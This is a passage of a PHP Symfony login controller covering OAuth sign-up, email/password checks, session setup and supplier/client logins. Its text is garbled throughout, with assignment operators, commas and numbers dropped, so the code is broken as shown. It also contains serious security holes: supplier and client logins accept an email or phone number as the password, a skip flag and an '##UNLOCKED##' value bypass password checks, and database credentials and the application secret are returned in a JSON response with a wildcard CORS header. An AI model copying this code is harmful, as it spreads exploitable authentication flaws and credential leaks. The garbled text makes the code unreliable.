  1417.                         );
  1418.                         if ($user) {
  1419.                             //no need to verify for oauth just proceed
  1420.                         } else {
  1421.                             //add new user and pass that user
  1422.                             $add_user EntityUserM::addNewEntityUser(
  1423.                                 $em_goc,
  1424.                                 $oAuthData['name'],
  1425.                                 $oAuthData['email'],
  1426.                                 '',
  1427.                                 0,
  1428.                                 0,
  1429.                                 0,
  1430.                                 UserConstants::USER_TYPE_ENTITY_USER_GENERAL_USER,
  1431.                                 [],
  1432.                                 0,
  1433.                                 "",
  1434.                                 0,
  1435.                                 "",
  1436.                                 $image '',
  1437.                                 $deviceId,
  1438.                                 0,
  1439.                                 0,
  1440.                                 $oAuthData['uniqueId'],
  1441.                                 $oAuthData['token'],
  1442.                                 $oAuthData['image'],
  1443.                                 $oAuthData['emailVerified'],
  1444.                                 $oAuthData['type']
  1445.                             );
  1446.                             if ($add_user['success'] == true) {
  1447.                                 $firstLogin 1;
  1448.                                 $user $add_user['user'];
  1449.                                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  1450.                                     $emailmessage = (new \Swift_Message('Registration on Karbar'))
  1451.                                         ->setFrom('registration@entity.innobd.com')
  1452.                                         ->setTo($user->getEmail())
  1453.                                         ->setBody(
  1454.                                             $this->renderView(
  1455.                                                 '@Application/email/user/registration_karbar.html.twig',
  1456.                                                 array('name' => $request->request->get('name'),
  1457.                                                     //                                                    'companyData' => $companyData,
  1458.                                                     //                                                    'userName'=>$request->request->get('email'),
  1459.                                                     //                                                    'password'=>$request->request->get('password'),
  1460.                                                 )
  1461.                                             ),
  1462.                                             'text/html'
  1463.                                         );
  1464.                                     /*
  1465.                                                        * If you also want to include a plaintext version of the message
  1466.                                                       ->addPart(
  1467.                                                           $this->renderView(
  1468.                                                               'Emails/registration.txt.twig',
  1469.                                                               array('name' => $name)
  1470.                                                           ),
  1471.                                                           'text/plain'
  1472.                                                       )
  1473.                                                       */
  1474.                                     //            ;
  1475.                                     $this->get('mailer')->send($emailmessage);
  1476.                                 }
  1477.                             }
  1478.                         }
  1479.                     }
  1480.                 } else {
  1481.                     $data = array();
  1482.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  1483.                         array(
  1484.                             'email' => $request->request->get('username')
  1485.                         )
  1486.                     );
  1487.                     if (!$user) {
  1488.                         $message "Wrong Email";
  1489.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1490.                             return new JsonResponse(array(
  1491.                                 'uid' => $session->get(UserConstants::USER_ID),
  1492.                                 'session' => $session,
  1493.                                 'success' => false,
  1494.                                 'errorStr' => $message,
  1495.                                 'session_data' => [],
  1496.                             ));
  1497.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1498.                             //                    return $response;
  1499.                         }
  1500.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1501.                             "message" => $message,
  1502.                             'page_title' => "Login",
  1503.                             'gocList' => $gocDataList,
  1504.                             'gocId' => $gocId
  1505.                         ));
  1506.                     }
  1507.                     if ($user) {
  1508.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  1509.                             $message "Sorry, Your Account is Deactivated";
  1510.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1511.                                 return new JsonResponse(array(
  1512.                                     'uid' => $session->get(UserConstants::USER_ID),
  1513.                                     'session' => $session,
  1514.                                     'success' => false,
  1515.                                     'errorStr' => $message,
  1516.                                     'session_data' => [],
  1517.                                 ));
  1518.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1519.                                 //                    return $response;
  1520.                             }
  1521.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1522.                                 "message" => $message,
  1523.                                 'page_title' => "Login",
  1524.                                 'gocList' => $gocDataList,
  1525.                                 'gocId' => $gocId
  1526.                             ));
  1527.                         }
  1528.                     }
  1529.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  1530.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  1531.                         $message "Wrong Email/Password";
  1532.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1533.                             return new JsonResponse(array(
  1534.                                 'uid' => $session->get(UserConstants::USER_ID),
  1535.                                 'session' => $session,
  1536.                                 'success' => false,
  1537.                                 'errorStr' => $message,
  1538.                                 'session_data' => [],
  1539.                             ));
  1540.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1541.                             //                    return $response;
  1542.                         }
  1543.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1544.                             "message" => $message,
  1545.                             'page_title' => "Login",
  1546.                             'gocList' => $gocDataList,
  1547.                             'gocId' => $gocId
  1548.                         ));
  1549.                     }
  1550.                 }
  1551.                 if ($user) {
  1552.                     //set cookie
  1553.                     if ($remember_me == 1)
  1554.                         $session->set('REMEMBERME'1);
  1555.                     else
  1556.                         $session->set('REMEMBERME'0);
  1557.                     $userType $user->getUserType();
  1558.                     // Entity User
  1559.                     $userId $user->getUserId();
  1560.                     $session->set(UserConstants::USER_ID$user->getUserId());
  1561.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  1562.                     $session->set('firstLogin'$firstLogin);
  1563.                     $session->set(UserConstants::USER_TYPE$userType);
  1564.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  1565.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  1566.                     $session->set('oAuthImage'$user->getOAuthImage());
  1567.                     $session->set(UserConstants::USER_NAME$user->getName());
  1568.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  1569.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  1570.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  1571.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  1572.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  1573.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  1574.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  1575.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  1576.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  1577.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  1578.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  1579.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  1580.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  1581.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  1582.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  1583.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  1584.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  1585.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  1586.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  1587.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  1588.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  1589.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  1590.                     $route_list_array = [];
  1591.                     //                    $loginID = $this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  1592.                     //                        $request->server->get("REMOTE_ADDR"), $PL[0]);
  1593.                     $loginID EntityUserM::addEntityUserLoginLog(
  1594.                         $em_goc,
  1595.                         $userId,
  1596.                         $request->server->get("REMOTE_ADDR"),
  1597.                         0,
  1598.                         $deviceId,
  1599.                         $oAuthData['token'],
  1600.                         $oAuthData['type']
  1601.                     );
  1602.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  1603.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  1604.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  1605.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  1606.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  1607.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  1608.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  1609.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  1610.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  1611.                     $appIdList json_decode($user->getUserAppIdList());
  1612.                     if ($appIdList == null)
  1613.                         $appIdList = [];
  1614.                     $companyIdListByAppId = [];
  1615.                     $companyNameListByAppId = [];
  1616.                     $companyImageListByAppId = [];
  1617.                     if (!in_array($user->getUserAppId(), $appIdList))
  1618.                         $appIdList[] = $user->getUserAppId();
  1619.                     foreach ($appIdList as $currAppId) {
  1620.                         if ($currAppId == $user->getUserAppId()) {
  1621.                             foreach ($company_id_list as $index_company => $company_id) {
  1622.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  1623.                                 $app_company_index $currAppId '_' $company_id;
  1624.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  1625.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  1626.                             }
  1627.                         } else {
  1628.                             $dataToConnect System::changeDoctrineManagerByAppId(
  1629.                                 $this->getDoctrine()->getManager('company_group'),
  1630.                                 $gocEnabled,
  1631.                                 $currAppId
  1632.                             );
  1633.                             if (!empty($dataToConnect)) {
  1634.                                 $connector $this->container->get('application_connector');
  1635.                                 $connector->resetConnection(
  1636.                                     'default',
  1637.                                     $dataToConnect['dbName'],
  1638.                                     $dataToConnect['dbUser'],
  1639.                                     $dataToConnect['dbPass'],
  1640.                                     $dataToConnect['dbHost'],
  1641.                                     $reset true
  1642.                                 );
  1643.                                 $em $this->getDoctrine()->getManager();
  1644.                                 $companyList Company::getCompanyListWithImage($em);
  1645.                                 foreach ($companyList as $c => $dta) {
  1646.                                     //                                $company_id_list[]=$c;
  1647.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  1648.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  1649.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  1650.                                     $app_company_index $currAppId '_' $c;
  1651.                                     $company_locale $companyList[$c]['locale'];
  1652.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  1653.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  1654.                                 }
  1655.                             }
  1656.                         }
  1657.                     }
  1658.                     $session->set('appIdList'$appIdList);
  1659.                     $session->set('companyIdListByAppId'$companyIdListByAppId);
  1660.                     $session->set('companyNameListByAppId'$companyNameListByAppId);
  1661.                     $session->set('companyImageListByAppId'$companyImageListByAppId);
  1662.                     $branchIdList json_decode($user->getUserBranchIdList());
  1663.                     $branchId $user->getUserBranchId();
  1664.                     $session->set('branchIdList'$branchIdList);
  1665.                     $session->set('branchId'$branchId);
  1666.                     if ($user->getAllModuleAccessFlag() == 1)
  1667.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  1668.                     else
  1669.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  1670.                     $session_data = array(
  1671.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  1672.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  1673.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  1674.                         'firstLogin' => $firstLogin,
  1675.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  1676.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  1677.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  1678.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  1679.                         'oAuthImage' => $session->get('oAuthImage'),
  1680.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  1681.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  1682.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  1683.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  1684.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  1685.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  1686.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  1687.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  1688.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  1689.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  1690.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  1691.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  1692.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  1693.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  1694.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  1695.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  1696.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  1697.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  1698.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  1699.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  1700.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  1701.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  1702.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  1703.                         //new
  1704.                         'appIdList' => $session->get('appIdList'),
  1705.                         'branchIdList' => $session->get('branchIdList'null),
  1706.                         'branchId' => $session->get('branchId'null),
  1707.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  1708.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  1709.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  1710.                     );
  1711.                     $session_data $this->filterClientSessionData($session_data);
  1712.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  1713.                     $token $tokenData['token'];
  1714.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1715.                         $session->set('remoteVerified'1);
  1716.                         $response = new JsonResponse(array(
  1717.                             'token' => $token,
  1718.                             'uid' => $session->get(UserConstants::USER_ID),
  1719.                             'session' => $session,
  1720.                             'success' => true,
  1721.                             'session_data' => $session_data,
  1722.                         ));
  1723.                         $response->headers->set('Access-Control-Allow-Origin''*');
  1724.                         return $response;
  1725.                     }
  1726.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  1727.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  1728.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  1729.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  1730.                                 $redPath parse_url($redPHP_URL_PATH);
  1731.                                 $redPath strtolower($redPath === false || $redPath === null $red $redPath);
  1732.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  1733.                                 // Never land the browser on a non-navigational endpoint (JSON/AJAX)
  1734.                                 // that was bounced to login pre-auth â€” e.g. the signature probes the
  1735.                                 // signature-setup modal/footer fire on first load (/signature_status
  1736.                                 // AND /CheckSignatureHash, which returns the raw signature hash).
  1737.                                 // Match any "signature" or "/api/" path. Otherwise first login dumps
  1738.                                 // the user on raw JSON instead of the app.
  1739.                                 if (strripos($redPath'/auth/') === false && strripos($redPath'undefined') === false
  1740.                                     && strripos($redPath'signature') === false && strripos($redPath'/api/') === false) {
  1741.                                     return $this->redirect($red);
  1742.                                 }
  1743.                                 // Guarded (non-navigational) target â€” send to the dashboard rather
  1744.                                 // than falling through to raw JSON / further login processing.
  1745.                                 return $this->redirectToRoute("dashboard");
  1746.                             }
  1747.                         } else {
  1748.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  1749.                         }
  1750.                     } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  1751.                         return $this->redirectToRoute("dashboard");
  1752.                     else
  1753.                         return $this->redirectToRoute($user->getDefaultRoute());
  1754. //                    if ($request->server->has("HTTP_REFERER")) {
  1755. //                        if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  1756. //                            return $this->redirect($request->server->get('HTTP_REFERER'));
  1757. //                        }
  1758. //                    }
  1759. //
  1760. //                    //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  1761. //                    if ($request->request->has('referer_path')) {
  1762. //                        if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  1763. //                            return $this->redirect($request->request->get('referer_path'));
  1764. //                        }
  1765. //                    }
  1766.                     //                    if($request->request->has('gocId')
  1767.                 }
  1768.             } else {
  1769.                 if ($specialLogin == 1) {
  1770.                 } else if (strpos($uname'SID-') !== false) {
  1771.                     $specialLogin 1;
  1772.                     $userType UserConstants::USER_TYPE_SUPPLIER;
  1773.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  1774.                     //*** supplier id will be last 6 DIgits
  1775.                     $str_app_id_supplier_id substr($uname4);
  1776.                     //                if((1*$str_app_id_supplier_id)>1000000)
  1777.                     {
  1778.                         $supplierId = ($str_app_id_supplier_id) % 1000000;
  1779.                         $appIdFromUserName = ($str_app_id_supplier_id) / 1000000;
  1780.                     }
  1781.                     //                else
  1782.                     //                {
  1783.                     //                    $supplierId = (1 * $str_app_id_supplier_id) ;
  1784.                     //                    $appIdFromUserName = (1 * $str_app_id_supplier_id) / 1000000;
  1785.                     //                }
  1786.                 } else if (strpos($uname'CID-') !== false) {
  1787.                     $specialLogin 1;
  1788.                     $userType UserConstants::USER_TYPE_CLIENT;
  1789.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  1790.                     //*** supplier id will be last 6 DIgits
  1791.                     $str_app_id_client_id substr($uname4);
  1792.                     $clientId = ($str_app_id_client_id) % 1000000;
  1793.                     $appIdFromUserName = ($str_app_id_client_id) / 1000000;
  1794.                 } else if ($oAuthData || strpos($uname'APP-') !== false || $applicantDirectLogin == 1) {
  1795.                     $specialLogin 1;
  1796.                     $userType UserConstants::USER_TYPE_APPLICANT;
  1797.                     $isApplicantLogin 1;
  1798.                     if ($oAuthData) {
  1799.                         $email $oAuthData['email'];
  1800.                         $userName $email;
  1801. //                        $userName = explode('@', $email)[0];
  1802. //                        $userName = str_split($userName);
  1803. //                        $userNameArr = $userName;
  1804.                     } else if (strpos($uname'APP-') !== false) {
  1805.                         $email $uname;
  1806.                         $userName substr($email4);
  1807. //                        $userNameArr = str_split($userName);
  1808. //                        $generatedIdFromAscii = 0;
  1809. //                        foreach ($userNameArr as $item) {
  1810. //                            $generatedIdFromAscii += ord($item);
  1811. //                        }
  1812. //
  1813. //                        $str_app_id_client_id = $generatedIdFromAscii;
  1814. //                        $applicantId = (1 * $str_app_id_client_id) % 1000000;
  1815. //                        $appIdFromUserName = (1 * $str_app_id_client_id) / 1000000;
  1816.                     } else {
  1817.                         $email $uname;
  1818.                         $userName $uname;
  1819. //                            $userName = substr($email, 4);
  1820. //                        $userName = explode('@', $email)[0];
  1821. //                            $userNameArr = str_split($userName);
  1822.                     }
  1823.                 }
  1824.                 $data = array();
  1825.                 if ($hasGoc == 1) {
  1826.                     if ($gocId != && $gocId != "") {
  1827. //                        $gocId = $request->request->get('gocId');
  1828.                         $gocDbName $gocDataList[$gocId]['dbName'];
  1829.                         $gocDbUser $gocDataList[$gocId]['dbUser'];
  1830.                         $gocDbPass $gocDataList[$gocId]['dbPass'];
  1831.                         $gocDbHost $gocDataList[$gocId]['dbHost'];
  1832.                         $appIdFromUserName $gocDataList[$gocId]['appId'];
  1833.                         $connector $this->container->get('application_connector');
  1834.                         $connector->resetConnection(
  1835.                             'default',
  1836.                             $gocDataList[$gocId]['dbName'],
  1837.                             $gocDataList[$gocId]['dbUser'],
  1838.                             $gocDataList[$gocId]['dbPass'],
  1839.                             $gocDataList[$gocId]['dbHost'],
  1840.                             $reset true
  1841.                         );
  1842.                     } else if ($appId != && $appId != "") {
  1843.                         $gocId $request->request->get('gocId');
  1844.                         $gocDbName $gocDataListByAppId[$appId]['dbName'];
  1845.                         $gocDbUser $gocDataListByAppId[$appId]['dbUser'];
  1846.                         $gocDbPass $gocDataListByAppId[$appId]['dbPass'];
  1847.                         $gocDbHost $gocDataListByAppId[$appId]['dbHost'];
  1848.                         $gocId $gocDataListByAppId[$appId]['id'];
  1849.                         $appIdFromUserName $gocDataListByAppId[$appId]['appId'];
  1850.                         $connector $this->container->get('application_connector');
  1851.                         $connector->resetConnection(
  1852.                             'default',
  1853.                             $gocDbName,
  1854.                             $gocDbUser,
  1855.                             $gocDbPass,
  1856.                             $gocDbHost,
  1857.                             $reset true
  1858.                         );
  1859.                     }
  1860.                 } else if ($specialLogin == && $appIdFromUserName != 0) {
  1861.                     $gocId = isset($gocDataListByAppId[$appIdFromUserName]) ? $gocDataListByAppId[$appIdFromUserName]['id'] : 0;
  1862.                     if ($gocId != && $gocId != "") {
  1863.                         $gocDbName $gocDataListByAppId[$appIdFromUserName]['dbName'];
  1864.                         $gocDbUser $gocDataListByAppId[$appIdFromUserName]['dbUser'];
  1865.                         $gocDbPass $gocDataListByAppId[$appIdFromUserName]['dbPass'];
  1866.                         $gocDbHost $gocDataListByAppId[$appIdFromUserName]['dbHost'];
  1867.                         $connector $this->container->get('application_connector');
  1868.                         $connector->resetConnection(
  1869.                             'default',
  1870.                             $gocDataListByAppId[$appIdFromUserName]['dbName'],
  1871.                             $gocDataListByAppId[$appIdFromUserName]['dbUser'],
  1872.                             $gocDataListByAppId[$appIdFromUserName]['dbPass'],
  1873.                             $gocDataListByAppId[$appIdFromUserName]['dbHost'],
  1874.                             $reset true
  1875.                         );
  1876.                     }
  1877.                 }
  1878.                 $session $request->getSession();
  1879.                 $em $this->getDoctrine()->getManager();
  1880.                 //will work on later on supplier login
  1881.                 if ($specialLogin == 1) {
  1882.                     if ($supplierId != || $userType == UserConstants::USER_TYPE_SUPPLIER) {
  1883.                         //validate supplier
  1884.                         $supplier $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSuppliers')
  1885.                             ->findOneBy(
  1886.                                 array(
  1887.                                     'supplierId' => $supplierId
  1888.                                 )
  1889.                             );
  1890.                         if (!$supplier) {
  1891.                             $message "Wrong UserName";
  1892.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1893.                                 return new JsonResponse(array(
  1894.                                     'uid' => $session->get(UserConstants::USER_ID),
  1895.                                     'session' => $session,
  1896.                                     'success' => false,
  1897.                                     'errorStr' => $message,
  1898.                                     'session_data' => [],
  1899.                                 ));
  1900.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1901.                                 //                    return $response;
  1902.                             }
  1903.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1904.                                 "message" => $message,
  1905.                                 'page_title' => "Login",
  1906.                                 'gocList' => $gocDataList,
  1907.                                 'gocId' => $gocId
  1908.                             ));
  1909.                         }
  1910.                         if ($supplier) {
  1911.                             if ($supplier->getStatus() == GeneralConstant::INACTIVE) {
  1912.                                 $message "Sorry, Your Account is Deactivated";
  1913.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1914.                                     return new JsonResponse(array(
  1915.                                         'uid' => $session->get(UserConstants::USER_ID),
  1916.                                         'session' => $session,
  1917.                                         'success' => false,
  1918.                                         'errorStr' => $message,
  1919.                                         'session_data' => [],
  1920.                                     ));
  1921.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1922.                                     //                    return $response;
  1923.                                 }
  1924.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1925.                                     "message" => $message,
  1926.                                     'page_title' => "Login",
  1927.                                     'gocList' => $gocDataList,
  1928.                                     'gocId' => $gocId
  1929.                                 ));
  1930.                             }
  1931.                             if ($supplier->getEmail() == $request->request->get('password') || $supplier->getContactNumber() == $request->request->get('password')) {
  1932.                                 //pass ok proceed
  1933.                             } else {
  1934.                                 if ($skipPassword == 1) {
  1935.                                 } else {
  1936.                                     $message "Wrong Email/Password";
  1937.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1938.                                         return new JsonResponse(array(
  1939.                                             'uid' => $session->get(UserConstants::USER_ID),
  1940.                                             'session' => $session,
  1941.                                             'success' => false,
  1942.                                             'errorStr' => $message,
  1943.                                             'session_data' => [],
  1944.                                         ));
  1945.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1946.                                         //                    return $response;
  1947.                                     }
  1948.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1949.                                         "message" => $message,
  1950.                                         'page_title' => "Login",
  1951.                                         'gocList' => $gocDataList,
  1952.                                         'gocId' => $gocId
  1953.                                     ));
  1954.                                 }
  1955.                             }
  1956.                             $jd = [$supplier->getCompanyId()];
  1957.                             if ($jd != null && $jd != '' && $jd != [])
  1958.                                 $company_id_list $jd;
  1959.                             else
  1960.                                 $company_id_list = [1];
  1961.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  1962.                             foreach ($company_id_list as $c) {
  1963.                                 $company_name_list[$c] = $companyList[$c]['name'];
  1964.                                 $company_image_list[$c] = $companyList[$c]['image'];
  1965.                             }
  1966.                             $user $supplier;
  1967.                         }
  1968.                     } else if ($clientId != || $userType == UserConstants::USER_TYPE_CLIENT) {
  1969.                         //validate supplier
  1970.                         $client $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccClients')
  1971.                             ->findOneBy(
  1972.                                 array(
  1973.                                     'clientId' => $clientId
  1974.                                 )
  1975.                             );
  1976.                         if (!$client) {
  1977.                             $message "Wrong UserName";
  1978.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1979.                                 return new JsonResponse(array(
  1980.                                     'uid' => $session->get(UserConstants::USER_ID),
  1981.                                     'session' => $session,
  1982.                                     'success' => false,
  1983.                                     'errorStr' => $message,
  1984.                                     'session_data' => [],
  1985.                                 ));
  1986.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1987.                                 //                    return $response;
  1988.                             }
  1989.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1990.                                 "message" => $message,
  1991.                                 'page_title' => "Login",
  1992.                                 'gocList' => $gocDataList,
  1993.                                 'gocId' => $gocId
  1994.                             ));
  1995.                         }
  1996.                         if ($client) {
  1997.                             if ($client->getStatus() == GeneralConstant::INACTIVE) {
  1998.                                 $message "Sorry, Your Account is Deactivated";
  1999.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2000.                                     return new JsonResponse(array(
  2001.                                         'uid' => $session->get(UserConstants::USER_ID),
  2002.                                         'session' => $session,
  2003.                                         'success' => false,
  2004.                                         'errorStr' => $message,
  2005.                                         'session_data' => [],
  2006.                                     ));
  2007.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2008.                                     //                    return $response;
  2009.                                 }
  2010.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2011.                                     "message" => $message,
  2012.                                     'page_title' => "Login",
  2013.                                     'gocList' => $gocDataList,
  2014.                                     'gocId' => $gocId
  2015.                                 ));
  2016.                             }
  2017.                             if ($client->getEmail() == $request->request->get('password') || $client->getContactNumber() == $request->request->get('password')) {
  2018.                                 //pass ok proceed
  2019.                             } else {
  2020.                                 if ($skipPassword == 1) {
  2021.                                 } else {
  2022.                                     $message "Wrong Email/Password";
  2023.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2024.                                         return new JsonResponse(array(
  2025.                                             'uid' => $session->get(UserConstants::USER_ID),
  2026.                                             'session' => $session,
  2027.                                             'success' => false,
  2028.                                             'errorStr' => $message,
  2029.                                             'session_data' => [],
  2030.                                         ));
  2031.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2032.                                         //                    return $response;
  2033.                                     }
  2034.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2035.                                         "message" => $message,
  2036.                                         'page_title' => "Login",
  2037.                                         'gocList' => $gocDataList,
  2038.                                         'gocId' => $gocId
  2039.                                     ));
  2040.                                 }
  2041.                             }
  2042.                             $jd = [$client->getCompanyId()];
  2043.                             if ($jd != null && $jd != '' && $jd != [])
